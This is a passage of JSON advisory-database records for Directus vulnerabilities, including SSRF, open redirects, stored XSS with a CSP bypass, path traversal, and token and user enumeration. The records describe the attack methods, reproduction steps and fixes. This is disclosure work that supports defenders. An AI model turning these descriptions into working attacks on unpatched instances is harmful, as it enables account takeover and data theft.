to validation.\n\n### Impact\nAn authenticated user (or an unauthenticated user if public file-import permissions are enabled) could exploit this bypass to perform SSRF attacks against internal services on the same host (databases, caches, internal APIs) or cloud instance metadata endpoints (e.g., AWS/GCP/Azure IMDS).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:10:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-wv3h-5fx7-966h","https://nvd.nist.gov/vuln/detail/CVE-2026-35409","https://github.com/advisories/GHSA-wv3h-5fx7-966h"],"source_kind":"github","identifiers":["GHSA-wv3h-5fx7-966h","CVE-2026-35409"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.190Z","updated_at":"2026-11-06T02:04:48.995Z","epss_percentage":0.00342,"epss_percentile":0.27815,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djNoLTVmeDctOTY2aM4ABUud","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13djNoLTVmeDctOTY2aM4ABUud","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.16.0","vulnerable_version_range":"\u003c 11.16.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djNoLTVmeDctOTY2aM4ABUud/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13eHdtLTNmeHYtbXJ2eM4ABUuc","url":"https://github.com/advisories/GHSA-wxwm-3fxv-mrvx","title":"Directus: GraphQL Schema SDL Disclosure Setting","description":"## Summary\n\nWhen `GRAPHQL_INTROSPECTION=false` is configured, Directus correctly blocks standard GraphQL introspection queries (`__schema`, `__type`). However, the `server_specs_graphql` resolver on the `/graphql/system` endpoint returns an equivalent SDL representation of the schema and was not subject to the same restriction. This allowed the introspection control to be bypassed, exposing schema structure (collection names, field names, types, and relationships) to unauthenticated users at the public permission level, and to authenticated users at their permitted permission level.\n\n## Impact\n\nAdministrators who set `GRAPHQL_INTROSPECTION=false` to hide schema structure from clients would have had a false sense of security, as equivalent schema information remained accessible via the SDL endpoint without authentication.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-04T06:10:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-wxwm-3fxv-mrvx","https://nvd.nist.gov/vuln/detail/CVE-2026-35413","https://github.com/advisories/GHSA-wxwm-3fxv-mrvx"],"source_kind":"github","identifiers":["GHSA-wxwm-3fxv-mrvx","CVE-2026-35413"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.195Z","updated_at":"2026-11-06T02:04:48.995Z","epss_percentage":0.00319,"epss_percentile":0.24971,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eHdtLTNmeHYtbXJ2eM4ABUuc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13eHdtLTNmeHYtbXJ2eM4ABUuc","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.16.1","vulnerable_version_range":"\u003c 11.16.1"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eHdtLTNmeHYtbXJ2eM4ABUuc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZjQ1LWh4d2otNGNmas4ABUub","url":"https://github.com/advisories/GHSA-cf45-hxwj-4cfj","title":"Directus: Open Redirect via Parser Bypass in OAuth2/SAML Authentication Flow","description":"### Summary\n\nAn open redirect vulnerability exists in the login redirection logic. The `isLoginRedirectAllowed` function fails to correctly identify certain malformed URLs as external, allowing attackers to bypass redirect allow-list validation and redirect users to arbitrary external domains upon successful authentication.\n\n### Details\n\nA parser differential exists between the server-side URL validation logic and how modern browsers interpret URL path segments containing backslashes. Specifically, certain URL patterns are incorrectly classified as safe relative paths by the server, but are normalized by browsers into external domain references.\n\nThis is particularly impactful in SSO authentication flows (e.g., OAuth2 providers), where an attacker can craft a login URL that redirects the victim to an attacker-controlled site immediately after successful authentication, without any visible indication during the login process.\n\n### Impact\n\n- **Phishing:** Users may be silently redirected to attacker-controlled sites impersonating legitimate services after authenticating.\n- **Credential/token theft:** The redirect can be chained to capture OAuth tokens or authorization codes.\n- **Trust erosion:** Users lose confidence in the application after being redirected to unexpected domains post-login.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-04T06:09:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-cf45-hxwj-4cfj","https://nvd.nist.gov/vuln/detail/CVE-2026-35410","https://github.com/advisories/GHSA-cf45-hxwj-4cfj"],"source_kind":"github","identifiers":["GHSA-cf45-hxwj-4cfj","CVE-2026-35410"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.195Z","updated_at":"2026-11-06T02:04:48.996Z","epss_percentage":0.00261,"epss_percentile":0.1792,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZjQ1LWh4d2otNGNmas4ABUub","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZjQ1LWh4d2otNGNmas4ABUub","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.16.1","vulnerable_version_range":"\u003c 11.16.1"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZjQ1LWh4d2otNGNmas4ABUub/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNzVjLTRnbXYtbWc5eM4ABUua","url":"https://github.com/advisories/GHSA-q75c-4gmv-mg9x","title":"Directus: Open Redirect in Admin 2FA Setup Page","description":"### Summary\n\nDirectus is vulnerable to an Open Redirect via the redirect query parameter on the `/admin/tfa-setup` page. When an administrator who has not yet configured Two-Factor Authentication (2FA) visits a crafted URL, they are presented with the legitimate Directus 2FA setup page. After completing the setup process, the application redirects the user to the attacker-controlled URL specified in the `redirect` parameter without any validation.\n\nThis vulnerability could be used in phishing attacks targeting Directus administrators, as the initial interaction occurs on a trusted domain.\n\n### Credits\nDiscovered by Neo by ProjectDiscovery (https://neo.projectdiscovery.io/)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-04T06:08:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-q75c-4gmv-mg9x","https://nvd.nist.gov/vuln/detail/CVE-2026-35411","https://github.com/advisories/GHSA-q75c-4gmv-mg9x"],"source_kind":"github","identifiers":["GHSA-q75c-4gmv-mg9x","CVE-2026-35411"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.195Z","updated_at":"2026-11-06T02:04:48.996Z","epss_percentage":0.00261,"epss_percentile":0.17943,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNzVjLTRnbXYtbWc5eM4ABUua","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNzVjLTRnbXYtbWc5eM4ABUua","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.16.1","vulnerable_version_range":"\u003c 11.16.1"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNzVjLTRnbXYtbWc5eM4ABUua/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOTNjLXA0NnItN2M5Nc4ABUuZ","url":"https://github.com/advisories/GHSA-393c-p46r-7c95","title":"Directus: Path Traversal and Broken Access Control in File Management API","description":"## Summary\n\nA broken access control vulnerability was identified in the Directus file management API that allows authenticated users to overwrite files belonging to other users by manipulating the `filename_disk` parameter.\n\n## Details\n\nThe `PATCH /files/{id}` endpoint accepts a user-controlled `filename_disk` parameter. By setting this value to match the storage path of another user's file, an attacker can overwrite that file's content while manipulating metadata fields such as `uploaded_by` to obscure the tampering.\n\n## Impact\n\n- **Unauthorized File Overwrite**: Attackers can replace legitimate files with malicious content, creating significant risk of malware propagation and data corruption.\n- **Remote Code Execution**: If the storage backend is shared with the extensions location, attackers can deploy malicious extensions that execute arbitrary code when loaded.\n- **Data Integrity Compromise**: Files can be tampered with or replaced without visible indication in the application interface.\n\n## Mitigation\n\nThe `filename_disk` parameter should be treated as a server-controlled value. Uniqueness of storage paths must be enforced server-side, and `filename_disk` should be excluded from the fields users are permitted to update directly.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:06:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-393c-p46r-7c95","https://nvd.nist.gov/vuln/detail/CVE-2026-39942","https://github.com/directus/directus/releases/tag/v11.17.0","https://github.com/advisories/GHSA-393c-p46r-7c95"],"source_kind":"github","identifiers":["GHSA-393c-p46r-7c95","CVE-2026-39942"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.195Z","updated_at":"2026-11-06T02:04:48.997Z","epss_percentage":0.00204,"epss_percentile":0.10283,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOTNjLXA0NnItN2M5Nc4ABUuZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOTNjLXA0NnItN2M5Nc4ABUuZ","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.17.0","vulnerable_version_range":"\u003c 11.17.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOTNjLXA0NnItN2M5Nc4ABUuZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bTMyLXA5NTgtamc5Oc4ABUuY","url":"https://github.com/advisories/GHSA-8m32-p958-jg99","title":"Directus: Missing Cross-Origin Opener Policy","description":"## Summary\n\nDirectus's Single Sign-On (SSO) login pages lacked a `Cross-Origin-Opener-Policy` (COOP) HTTP response header. Without this header, a malicious cross-origin window that opens the Directus login page retains the ability to access and manipulate the `window` object of that page. An attacker can exploit this to intercept and redirect the OAuth authorization flow to an attacker-controlled OAuth client, causing the victim to unknowingly grant access to their authentication provider account (e.g. Google, Discord).\n\n## Impact\n\nA successful attack allows the attacker to obtain an OAuth access token for the victim's third-party identity provider account. Depending on the scopes authorized, this can lead to:\n- Unauthorized access to the victim's linked identity provider account\n- Account takeover of the Directus instance if the attacker can authenticate using the stolen credentials or provider session\n\n## Patches\n\nThis issue has been addressed by adding the `Cross-Origin-Opener-Policy: same-origin` HTTP response header to SSO-related endpoints. This header instructs the browser to place the page in its own browsing context group, severing any reference the opener window may hold.\n\n## Workarounds\n\nUsers who are unable to upgrade immediately can mitigate this vulnerability by configuring their reverse proxy or web server to add the following HTTP response header to all Directus responses: `Cross-Origin-Opener-Policy: same-origin`","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:06:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-8m32-p958-jg99","https://nvd.nist.gov/vuln/detail/CVE-2026-35408","https://github.com/advisories/GHSA-8m32-p958-jg99"],"source_kind":"github","identifiers":["GHSA-8m32-p958-jg99","CVE-2026-35408"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.195Z","updated_at":"2026-11-06T02:04:48.997Z","epss_percentage":0.00172,"epss_percentile":0.06647,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTMyLXA5NTgtamc5Oc4ABUuY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bTMyLXA5NTgtamc5Oc4ABUuY","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.17.0","vulnerable_version_range":"\u003c 11.17.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTMyLXA5NTgtamc5Oc4ABUuY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcjk0LWdqM2gtYzhyZs4ABSTJ","url":"https://github.com/advisories/GHSA-jr94-gj3h-c8rf","title":"Directus Vulnerable to User Enumeration via Password Reset Timing Attack","description":"### Summary\n\nA timing-based user enumeration vulnerability exists in the password reset functionality. When an invalid reset_url parameter is provided, the response time differs by approximately 500ms between existing and non-existing users, enabling reliable user enumeration.\n\n### Details\n\nThe password reset endpoint implements a timing protection mechanism to prevent user enumeration; however, URL validation executes before the timing protection is applied. This allows an attacker to distinguish between valid and invalid user accounts based on response timing differences.\n\n### Impact\n\nThis vulnerability violates user privacy and may facilitate targeted phishing attacks by allowing attackers to confirm the existence of user accounts.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-12T22:13:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-jr94-gj3h-c8rf","https://github.com/directus/directus/pull/26485","https://github.com/directus/directus/commit/e69aa7a5248c6e3e822cb1ac354dee295df90b2a","https://github.com/directus/directus/releases/tag/v11.14.1","https://nvd.nist.gov/vuln/detail/CVE-2026-26185","https://github.com/advisories/GHSA-jr94-gj3h-c8rf"],"source_kind":"github","identifiers":["GHSA-jr94-gj3h-c8rf","CVE-2026-26185"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-12T23:00:07.915Z","updated_at":"2026-11-06T02:05:52.370Z","epss_percentage":0.00393,"epss_percentile":0.33518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjk0LWdqM2gtYzhyZs4ABSTJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcjk0LWdqM2gtYzhyZs4ABSTJ","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"32.2.0","vulnerable_version_range":"\u003c 32.2.0"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.14.1","vulnerable_version_range":"\u003c 11.14.1"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjk0LWdqM2gtYzhyZs4ABSTJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNTczLTRjNjgtZzhjY84ABQwW","url":"https://github.com/advisories/GHSA-3573-4c68-g8cc","title":"Directus has open redirect in SAML","description":"## Security Advisory: Open Redirect in Directus SAML Authentication\n\n### Summary\n\nAn open redirect vulnerability exists in the Directus SAML authentication callback endpoint. The `RelayState` parameter is used in redirects without proper validation against an allowlist of permitted domains.\n\n### Vulnerability Description\n\nDuring SAML authentication, the `RelayState` parameter is intended to preserve the user's original destination. However, while the login initiation flow validates redirect targets against allowed domains, this validation is not applied to the callback endpoint. This allows an attacker to craft a malicious authentication request that redirects users to an arbitrary external URL upon completion.\n\nThe vulnerability is present in both the success and error handling paths of the callback.\n\n### Impact\n\n- **Phishing**: Users can be redirected to attacker-controlled sites that mimic legitimate login pages\n- **Credential theft**: Chained attacks may leverage the redirect to capture OAuth tokens or authorization codes\n- **Trust erosion**: Users may lose confidence in the application's security posture\n\nThis vulnerability can be exploited without authentication.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-01-06T19:22:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-3573-4c68-g8cc","https://github.com/directus/directus/commit/dad9576ea9362905cc4de8028d3877caff36dc23","https://nvd.nist.gov/vuln/detail/CVE-2026-22032","https://github.com/advisories/GHSA-3573-4c68-g8cc"],"source_kind":"github","identifiers":["GHSA-3573-4c68-g8cc","CVE-2026-22032"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-06T20:00:08.447Z","updated_at":"2026-11-06T02:06:16.175Z","epss_percentage":0.00231,"epss_percentile":0.13814,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNTczLTRjNjgtZzhjY84ABQwW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNTczLTRjNjgtZzhjY84ABQwW","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"32.1.1","vulnerable_version_range":"\u003c 32.1.1"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.14.0","vulnerable_version_range":"\u003c 11.14.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNTczLTRjNjgtZzhjY84ABQwW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12djJ2LXB3NjktOGNyZs4ABOkG","url":"https://github.com/advisories/GHSA-vv2v-pw69-8crf","title":"Directus is Vulnerable to Stored Cross-site Scripting","description":"### Summary\n\nA stored cross-site scripting (XSS) vulnerability exists that allows users with `upload files` and `edit item` permissions to inject malicious JavaScript through the Block Editor interface. Attackers can bypass Content Security Policy (CSP) restrictions by combining file uploads with iframe srcdoc attributes, resulting in persistent XSS execution.\n\n### Details\n\nThe vulnerability arises from insufficient sanitization in the Block Editor interface when processing JSON content containing HTML elements. The attack requires two permissions:\n- `upload files` - To upload malicious JavaScript files\n- `edit item` - To create or modify content with the Block Editor\n\n**Attack Vector:**\n\n1. **JavaScript File Upload**: Attackers upload a malicious JavaScript file via the files endpoint, obtaining a file ID accessible through the assets directory\n\n2. **Block Editor Exploitation**: Using a JSON field with Block Editor interface, attackers inject raw HTML containing an iframe with srcdoc attribute that references the uploaded file\n\n3. **CSP Bypass**: The iframe srcdoc technique circumvents existing CSP protections by creating a new document context that loads the uploaded script\n\nThe payload is injected through direct API manipulation (PATCH request) to bypass client-side validation, targeting the Block Editor's paragraph data structure within the JSON content field.\n\n### Impact\n\nThis vulnerability enables:\n- **Persistent XSS** - Malicious scripts execute whenever affected content is viewed\n- **Session hijacking** - Access to authentication tokens and cookies of users viewing the content\n- **Administrative compromise** - If administrators view infected content, their elevated privileges can be exploited\n- **CSP bypass** - Demonstrates ineffective security controls, potentially affecting other protections\n- **Data exfiltration** - Ability to steal sensitive information displayed in the application\n- **Phishing attacks** - Injection of convincing fake login forms or malicious redirects","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-14T21:45:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L","references":["https://github.com/directus/directus/security/advisories/GHSA-vv2v-pw69-8crf","https://nvd.nist.gov/vuln/detail/CVE-2025-64747","https://github.com/directus/directus/commit/d23525317f0780f04aa1fe7a99171a358e43cb2e","https://github.com/advisories/GHSA-vv2v-pw69-8crf"],"source_kind":"github","identifiers":["GHSA-vv2v-pw69-8crf","CVE-2025-64747"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-14T22:00:08.509Z","updated_at":"2026-11-06T02:06:34.001Z","epss_percentage":0.00264,"epss_percentile":0.18133,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12djJ2LXB3NjktOGNyZs4ABOkG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12djJ2LXB3NjktOGNyZs4ABOkG","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.13.0","vulnerable_version_range":"\u003c 11.13.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12djJ2LXB3NjktOGNyZs4ABOkG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05eDVnLTYyZ2otd3FmMs4ABOkF","url":"https://github.com/advisories/GHSA-9x5g-62gj-wqf2","title":"Directus has Improper Permission Handling on Deleted Fields","description":"### Summary\nDirectus does not properly clean up field-level permissions when a field is deleted. If a new field with the same name is created later, the system automatically re-applies the old permissions, which can lead to unauthorized access.\n\n### Details\nWhen a field is removed from a collection, its reference in the permissions table remains intact. This stale reference creates a security gap: if another field is later created using the same name, it inherits the outdated permission entry.  \nThis behavior can unintentionally grant roles access to data they should not be able to read or modify.\n\nThe issue is particularly risky in multi-tenant or production environments, where administrators may reuse field names, assuming old permissions have been fully cleared.\n\n\t1.\tCreate a collection named test_collection.\n\t2.\tAdd a field called secret_field.\n\t3.\tAssign a role with read permissions specifically tied to secret_field.\n\t4.\tRemove the secret_field from the collection.\n\t5.\tCreate a new field with the exact same name secret_field.\n\t6.\tNotice that the previously assigned permissions are still active, granting access to the newly created field without reconfiguration.\n\n### Impact\n\nWhen creating new fields with the same name as previously deleted fields it may inherit the permissions of that previously deleted field. This can potentially result in accidentally giving access to this new field in existing policies.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-14T21:45:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-9x5g-62gj-wqf2","https://nvd.nist.gov/vuln/detail/CVE-2025-64746","https://github.com/directus/directus/commit/84d7636969083387164ce5d2fd15a65e11e2d0b8","https://github.com/advisories/GHSA-9x5g-62gj-wqf2"],"source_kind":"github","identifiers":["GHSA-9x5g-62gj-wqf2","CVE-2025-64746"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-14T22:00:08.509Z","updated_at":"2026-11-06T02:06:34.001Z","epss_percentage":0.00205,"epss_percentile":0.10533,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05eDVnLTYyZ2otd3FmMs4ABOkF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05eDVnLTYyZ2otd3FmMs4ABOkF","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.13.0","vulnerable_version_range":"\u003c 11.13.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05eDVnLTYyZ2otd3FmMs4ABOkF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcGg2LTUyNGYtM2hncs4ABOif","url":"https://github.com/advisories/GHSA-cph6-524f-3hgr","title":"Directus Vulnerable to Information Leakage in Existing Collections","description":"### Summary:\n\nAn observable difference in error messaging was found in the Directus REST API. The `/items/{collection}` API returns different error messages for these two cases:\n1. A user tries to access an existing collection which they are not authorized to access.\n2. A user tries to access a non-existing collection.\n\nThe two differing error messages leak the existence of collections to users which are not authorized to access these collections.\n\n### Details:\n\nThe following response returns an error message, when requesting a collection the user is not authorized to access.\n\n```\nGET /items/no-access\n{\n  \"errors\": [\n    {\n      \"message\": \"You don't have permission to access collection \\\"no-access\\\" or it does not exist. Queried in root.\",\n      \"extensions\": {\n        \"reason\": \"You don't have permission to access collection \\\"no-access\\\" or it does not exist. Queried in root.\",\n        \"code\": \"FORBIDDEN\"\n      }\n    }\n  ]\n}\n```\n\nThe following response returns a different error message when requesting a collection which does not exist.\n\n```\nGET /items/does-not-exist\n{\n  \"errors\": [\n    {\n      \"message\": \"You don't have permission to access this.\",\n      \"extensions\": {\n        \"code\": \"FORBIDDEN\"\n      }\n    }\n  ]\n}\n```\n\n### Impact:\n\nThe difference in errors between non-existent collections and collections blocked by permissions leak the existence of a collection to a user which is not authorized to access this object.\n\n### Credit:\n\nSebastian Krause - [Hackmanit GmbH](https://hackmanit.de)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-13T23:07:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-cph6-524f-3hgr","https://github.com/directus/directus/commit/f99c9b89071f9d136cc9b0d0c182f2d24542bc31","https://nvd.nist.gov/vuln/detail/CVE-2025-64749","https://github.com/advisories/GHSA-cph6-524f-3hgr"],"source_kind":"github","identifiers":["GHSA-cph6-524f-3hgr","CVE-2025-64749"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-14T00:00:09.621Z","updated_at":"2026-11-06T02:06:34.007Z","epss_percentage":0.00349,"epss_percentile":0.28503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcGg2LTUyNGYtM2hncs4ABOif","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcGg2LTUyNGYtM2hncs4ABOif","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"32.0.0","vulnerable_version_range":"\u003c 32.0.0"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.13.0","vulnerable_version_range":"\u003c 11.13.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcGg2LTUyNGYtM2hncs4ABOif/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04anB3LWdwcjQtOGNtaM4ABOie","url":"https://github.com/advisories/GHSA-8jpw-gpr4-8cmh","title":"Directus's conceal fields are searchable if read permissions enabled","description":"## Summary\n\nA vulnerability allows authenticated users to search concealed/sensitive fields when they have read permissions. While actual values remain masked (`****`), successful matches can be detected through returned records, enabling enumeration attacks on sensitive data.\n\n## Details\n\nThe system permits search operations on concealed fields in the `directus_users` collection, including `token`, `tfa_secret`, `password`. Matching records are returned with masked values, but their presence confirms the searched value exists.\n\nThe \"Recommended Defaults\" for \"App Access\" grant users full read permissions to their role/user records, inadvertently enabling them to search for any user's tokens, TFA secrets, and password hashes. Attackers can leverage known password hashes from breach databases to identify accounts with compromised passwords.\n\n# Impact\n\nThis vulnerability enables:\n- **Token enumeration** - Verification of valid authentication tokens\n- **Password hash matching** - Identification of accounts using known compromised passwords\n- **Information disclosure** - Confirmation of sensitive value existence without viewing actual data\n- **Increased attack surface** - Default permissions automatically expose all deployments using recommended settings\n\nThe risk is particularly high for password fields, where attackers can cross-reference publicly available hash databases to identify vulnerable accounts.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-11-13T23:06:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-8jpw-gpr4-8cmh","https://github.com/directus/directus/commit/7737d56e096f95edfbdf861a3c08999ad31ce204","https://nvd.nist.gov/vuln/detail/CVE-2025-64748","https://github.com/advisories/GHSA-8jpw-gpr4-8cmh"],"source_kind":"github","identifiers":["GHSA-8jpw-gpr4-8cmh","CVE-2025-64748"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-11-14T00:00:09.621Z","updated_at":"2026-11-06T02:06:34.007Z","epss_percentage":0.00296,"epss_percentile":0.22054,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04anB3LWdwcjQtOGNtaM4ABOie","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04anB3LWdwcjQtOGNtaM4ABOie","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"32.0.0","vulnerable_version_range":"\u003c 32.0.0"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.13.0","vulnerable_version_range":"\u003c 11.13.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04anB3LWdwcjQtOGNtaM4ABOie/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tdjMzLTlmNmotcGZtY84ABLSw","url":"https://github.com/advisories/GHSA-mv33-9f6j-pfmc","title":"Directus allows unauthenticated file upload and file modification due to lacking input sanitization","description":"## Summary\n\nA vulnerability exists in the file update mechanism which allows an unauthenticated actor to modify existing files with arbitrary contents (without changes being applied to the files' database-resident metadata) and / or upload new files, with arbitrary content and extensions, which won't show up in the Directus UI.\n\n## Details\n\nDirectus exposes the CRUD operations for uploading or 